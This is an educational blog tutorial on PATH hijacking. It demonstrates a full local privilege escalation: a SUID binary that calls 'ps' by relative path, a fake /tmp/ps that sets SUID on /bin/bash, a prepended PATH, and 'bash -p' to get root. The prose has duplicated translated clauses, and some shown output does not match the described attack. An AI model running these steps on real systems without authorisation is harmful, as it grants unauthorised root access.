PATH Hijacking


17 Feb 2022

Well, if you are here it can be for two reasons, one: you have never heard the term and you want to know what it is, or two: they have heard the term and would like to know what it is. Okay, PATH Hijacking or PATH Hijacking is a basic technique that serves to a basic privilege escalation technique that consists of hijacking the path of a command allowing you to have control over what is being thus having control of what is being executed. If we add this technique with a binary with SUID permissions, it can be extremely dangerous, since it can become extremely dangerous, since, following the concept of the SUID (Set Owner User ID) privilege, the command whose path you hijacked would be executing it. whose path you hijacked would be executed by the owner of that binary (e.g. root).

For example, suppose we have a script called processes.c which only shows us the active processes of the machine.


          #include 

          void main(){
            
            setuid(0);

            printf("\n\n[+] Listando procesos (ps):\n\n");
            system("ps");
          }
          

As we can see in the script, what it does is to display the active system processes on the screen through the ps command.

Once the processes.c script is compiled, we will obtain the processes compiled binary. For demonstration purposes, I will assign SUID permissions so that privilege escalation can take place.


          user@bash:~$ ls -l
          .rwxr-xr-x root   root    16 KB Thu Feb  5 02:15:07 2022  processes
          user@bash:~$ chmod u+s processes
          user@bash:~$ ls -l
          .rwsr-xr-x root   root    16 KB Thu Feb  5 02:15:07 2022  processes
          user@bash:~$
          

As we can see, in the first subgroup of the permissions section we have an s which indicates that it is a binary with SUID permissions. This means that any person who executes this binary will be executing it as the owner. In this case the owner is root.

If we run it the output would look like this:


          user@bash:~$ ./processes
          [+] Listando procesos (ps):

              PID TTY          TIME CMD
           642098 pts/6    00:00:17 zsh
           723302 pts/6    00:00:00 processes
           723315 pts/6    00:00:00 sh
           723329 pts/6    00:00:00 ps
          user@bash:~$   
          

So far so good, the script works correctly, however, it is far from secure. If we notice, the script is calling the ps command in a relative way, what does this mean? Well, for this we need to know that there are two ways to make reference to a file, in a relative way and in an absolute way. In this case, the absolute path of the ps command is /usr/bin/ps (we can know this by doing a which ps in our terminal).

This is a mistake and this is where PATH Hijacking comes in. Within the operating system we have an environment variable called PATH. We can see its content by doing an echo $PATH from our console.


          user@bash:~$ echo $PATH 
          /home/user/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin
          

This environment variable allows us to call files or functions without having to specify their absolute path, that is to say, in a relative way. This PATH is read from left to right and works as follows:

Suppose we run the ps command, as we know, it is located in the absolute path /usr/bin/ps. What happens is that our machine searches for ps in each of the paths that make up the PATH environment variable from left to right using as delimiter the colon (':'), as follows:

  1. /home/user/.local/bin -> Not here
  2. /snap/bin -> Not here
  3. /usr/sandbox -> Not here
  4. /usr/local/bin -> Not here
  5. /usr/bin -> It is here

After finding where the binary resides, proceed to execute it.

It should be added that the PATH environment variable can be modified and when the console is restarted it returns to its original state.

Now, once we know what it is and understand how it works, following the example of the compiled binary processes, we can conclude that if we modify the PATH so that it finds a file called ps in a path that is further to the left than its original path (/usr/bin/) it will execute it.

For this, we will go to the /tmp directory since this directory usually has write permissions for all users:


          user@bash:~$ cd /tmp
          user@bash:/tmp$ 
          

The first thing we will do once we are inside the /tmp directory is: create a file named like the command we want to hijack, in this case: ps. To do this we will use the touch command as I will show below:


          user@bash:/tmp$ touch ps
          user@bash:/tmp$ ls -l
          -rw-r--r-- 1 user  user   0 feb 17 01:59 ps
          user@bash:/tmp$
          

The next thing to do is to give it execution permissions. We will use the chmod command for this.


          user@bash:/tmp$ chmod +x ps
          user@bash:/tmp$ ls -l
          -rwxr-xr-x 1 user  user   0 feb 17 01:59 ps
          user@bash:/tmp$ 
          

In the command, the +x means that we want to add execute permission for the owner, group members and others. That is why when we execute an ls -l there is an x in each subgroup of the permissions section.

Once we have the file created with execution permissions, it is time to put content in it, in this case, malicious content. For this we will use a text editor either vi, vim, nvim or nano to modify the content of the file and what we will do in this case will be to assign SUID permissions to the /bin/bash. The content of the executable file /tmp/ps would look like this.


            user@bash:/tmp$ cat ps
            chmod u+s /bin/bash
            user@bash:/tmp$
          

Up to this point we have everything we need:

  1. A binary with SUID permissions whose owner is root that commands a relative call to a system's own binary, in this case, the ps command.
  2. A file with execution permissions named as the binary commanded to call in a relative way, in this case ps.

The only thing missing would be to perform PATH Hijacking. For this, it is necessary to modify the PATH environment variable whose current value is as follows:


          user@bash:/tmp$ echo $PATH
          /home/user/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin
          user@bash:/tmp$
          

As the ps file we created is located in the /tmp directory, we want this path to be as far to the left as possible in the PATH because of the priority with which it is interpreted (from left to right). To modify the PATH so that /tmp is at the beginning, the following command would be executed:


          user@bash:/tmp$ export PATH=/tmp:$PATH
          user@bash:/tmp$ echo $PATH
          /tmp:/home/user/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin
          user@bash:/tmp$
          

The first thing we did was to change the value of the PATH so that its value is /tmp followed by whatever it is currently worth ($PATH). As we know that the delimiter between paths in the PATH is ':', that's why we put /tmp:$PATH.

Once the PATH is modified in our favor, when the compiled binary processes gets executed and sends for ps to be called, it will look for it in each of the paths contained in the new PATH value:


          PATH = /tmp:/home/user/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/binario
          
  1. /tmp -> It is here

And our fake /tmp/ps file will be executed.


          user@bash:~$ ./processes
          [*] Listando procesos (ps):
            
              PID TTY          TIME CMD
           642098 pts/6    00:00:17 zsh
           723302 pts/6    00:00:00 processes
           723315 pts/6    00:00:00 sh
           723329 pts/6    00:00:00 ps
          user@bash:~$
          

And if we remember, what our fake ps file does is to modify the bash binary (/bin/bash) to have SUID permissions.


          user@bash:~$ ls -l /bin/bash
          .rwsr-xr-x root root 1.2 MB Wed Aug  4 15:25:59 2021  /bin/bash
          user@bash:~$
          

This allows us to spawn a bash as root (thanks to the SUID permission we previously assigned).


          user@bash:~$ bash -p
          root@bash:/home/user# whoami
          root
          root@bash:/home/user# 
          

The -p flag after the bash command is for privileged execution.

And well that would be the explanation of what is PATH Hijacking, a bit of SUID binaries, a bit of permissions and a practical case of privilege escalation exploiting a PATH Hijacking.

Thank you :)